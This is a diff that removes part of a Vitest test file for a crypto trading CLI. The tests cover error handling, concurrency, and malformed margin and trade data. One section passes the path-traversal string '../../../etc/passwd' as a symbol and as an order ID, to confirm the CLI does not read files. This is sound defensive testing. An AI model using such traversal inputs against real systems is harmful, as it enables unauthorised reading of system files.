- // classifyError uses outer.message, not cause
438
- const result = classifyError(outer);
439
- expect(result.code).toBe("UNKNOWN"); // "Outer error" doesn't match patterns
440
- });
441
- it("PerpError preserves structured info through serialize/deserialize", () => {
442
- const err = new PerpError("RATE_LIMITED", "Too many requests", { waitMs: 1000 });
443
- expect(err.structured.code).toBe("RATE_LIMITED");
444
- expect(err.structured.retryable).toBe(true);
445
- expect(err.structured.details?.waitMs).toBe(1000);
446
- // Simulate JSON round-trip (agent receiving error)
447
- const json = JSON.stringify(jsonError(err.structured.code, err.message));
448
- const parsed = JSON.parse(json);
449
- expect(parsed.error.code).toBe("RATE_LIMITED");
450
- });
451
- });
452
- // ══════════════════════════════════════════════════════════════
453
- // 8. CONCURRENT / RAPID-FIRE SAFETY
454
- // ══════════════════════════════════════════════════════════════
455
- describe("Concurrent operations safety", () => {
456
- it("multiple sequential market mid calls each return correct symbol", async () => {
457
- // Run sequentially to avoid console.log spy interference
458
- const symbols = [];
459
- for (const sym of ["BTC", "ETH", "SOL"]) {
460
- const adapter = mockAdapter();
461
- const program = createMarketProgram(adapter, true);
462
- const { logCalls } = await run(program, ["market", "mid", sym]);
463
- const out = getJsonOutput(logCalls);
464
- symbols.push(out?.data?.symbol);
465
- }
466
- expect(symbols).toContain("BTC");
467
- expect(symbols).toContain("ETH");
468
- expect(symbols).toContain("SOL");
469
- });
470
- it("adapter errors in one call don't affect another", async () => {
471
- const adapter = mockAdapter({
472
- getOrderbook: vi.fn()
473
- .mockRejectedValueOnce(new Error("Timeout"))
474
- .mockResolvedValueOnce({ bids: [["100", "1"]], asks: [["101", "1"]] }),
475
- });
476
- // First call fails
477
- const prog1 = createMarketProgram(adapter, true);
478
- const { logCalls: calls1 } = await run(prog1, ["market", "mid", "BTC"]);
479
- const out1 = getJsonOutput(calls1);
480
- expect(out1?.ok).toBe(false);
481
- // Second call succeeds
482
- const prog2 = createMarketProgram(adapter, true);
483
- const { logCalls: calls2 } = await run(prog2, ["market", "mid", "ETH"]);
484
- const out2 = getJsonOutput(calls2);
485
- expect(out2?.ok).toBe(true);
486
- });
487
- });
488
- // ══════════════════════════════════════════════════════════════
489
- // 9. PATH TRAVERSAL IN FILE ARGUMENTS
490
- // ══════════════════════════════════════════════════════════════
491
- describe("Path traversal attempts", () => {
492
- it("symbolMatch doesn't interpret path separators specially", () => {
493
- expect(symbolMatch("../../../etc/passwd", "BTC")).toBe(false);
494
- expect(symbolMatch("BTC", "../../../etc/passwd")).toBe(false);
495
- });
496
- it("orderId with path traversal is just a string", async () => {
497
- const adapter = mockAdapter({
498
- getOpenOrders: vi.fn().mockResolvedValue([]),
499
- getOrderHistory: vi.fn().mockResolvedValue([]),
500
- });
501
- const program = createTradeProgram(adapter, true);
502
- const { logCalls } = await run(program, ["trade", "status", "../../../etc/passwd"]);
503
- const output = getJsonOutput(logCalls);
504
- // Should just return ORDER_NOT_FOUND, not attempt file read
505
- expect(output?.ok).toBe(false);
506
- expect(output?.error?.code).toBe("ORDER_NOT_FOUND");
507
- });
508
- });
509
- // ══════════════════════════════════════════════════════════════
510
- // 10. ACCOUNT MARGIN WITH MALFORMED POSITION DATA
511
- // ══════════════════════════════════════════════════════════════
512
- describe("Account margin with malformed data", () => {
513
- it("handles NaN markPrice without crash", async () => {
514
- const adapter = mockAdapter({
515
- getPositions: vi.fn().mockResolvedValue([{
516
- symbol: "BTC", side: "long", size: "1",
517
- entryPrice: "NaN", markPrice: "NaN",
518
- liquidationPrice: "N/A", unrealizedPnl: "0", leverage: 10,
519
- }]),
520
- });
521
- const program = createAccountProgram(adapter, true);
522
- const { logCalls } = await run(program, ["account", "margin", "BTC"]);
523
- const output = getJsonOutput(logCalls);
524
- // Should not crash — NaN math produces NaN which becomes "NaN" string
525
- expect(output).toBeDefined();
526
- expect(output?.ok).toBe(true);
527
- });
528
- it("handles zero equity (division by zero in marginPct)", async () => {
529
- const adapter = mockAdapter({
530
- getBalance: vi.fn().mockResolvedValue({
531
- equity: "0", available: "0", marginUsed: "0", unrealizedPnl: "0",
532
- }),
533
- getPositions: vi.fn().mockResolvedValue([{
534
- symbol: "BTC", side: "long", size: "0.1",
535
- entryPrice: "100000", markPrice: "100000",
536
- liquidationPrice: "90000", unrealizedPnl: "0", leverage: 10,
537
- }]),
538
- });
539
- const program = createAccountProgram(adapter, true);
540
- const { logCalls } = await run(program, ["account", "margin", "BTC"]);
541
- const output = getJsonOutput(logCalls);
542
- expect(output.ok).toBe(true);
543
- // equity=0 → marginPct should be 0, not Infinity
544
- expect(output.data.marginPctOfEquity).toBe("0.00");
545
- });
546
- });
547
- // ══════════════════════════════════════════════════════════════
548
- // 11. TRADE FILLS WITH CRAFTED TRADE DATA
549
- // ══════════════════════════════════════════════════════════════
550
- describe("Trade fills with crafted data", () => {
551
- it("handles trades with negative prices", async () => {
552
- const adapter = mockAdapter({
553
- getTradeHistory: vi.fn().mockResolvedValue([
554
- { time: Date.now(), symbol: "BTC", side: "buy", price: "-100", size: "1", fee: "-5" },
555
- ]),
556
- });
557
- const program = createTradeProgram(adapter, true);
558
- const { logCalls } = await run(program, ["trade", "fills"]);
559
- const output = getJsonOutput(logCalls);
560
- expect(output.ok).toBe(true);
561
- expect(output.data).toHaveLength(1);
562
- });
563
- it("handles trades with extremely large timestamps", async () => {
564
- const adapter = mockAdapter({
565
- getTradeHistory: vi.fn().mockResolvedValue([
566
- { time: 99999999999999, symbol: "BTC", side: "buy", price: "100", size: "1", fee: "0" },
567
- ]),
568
- });
569
- const program = createTradeProgram(adapter, true);
570
- const { logCalls } = await run(program, ["trade", "fills"]);
571
- const output = getJsonOutput(logCalls);
572
- expect(output.ok).toBe(true);
573
- });
574
- });
@@ -1 +0,0 @@
1
- export {};